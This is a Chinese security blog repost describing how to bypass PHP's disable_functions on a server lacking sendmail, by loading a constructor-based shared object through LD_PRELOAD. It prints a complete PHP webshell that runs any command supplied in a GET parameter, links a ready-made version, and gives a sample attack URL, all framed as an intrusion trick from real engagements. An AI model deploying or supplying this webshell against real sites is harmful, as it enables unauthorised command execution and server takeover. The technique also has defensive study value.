【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

admin 2021年7月25日06:11:46评论69 views字数 1140阅读3分48秒阅读模式

【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。

最近实战中遇到一个站,同样无法执行命令:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令



disable_functions 禁用命令执行函数:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令



同时,还禁用了 sendmail,导致之前的惯用法失效:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令




琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 __attribute__((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。

开箱即用的 webshell 位于 https://github.com/yangyangwithg ... func_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

即可执行系统命令:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令


<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

本文始发于微信公众号(T00ls):【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月25日06:11:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令http://cn-sec.com/archives/348657.html

发表评论

匿名网友 填写信息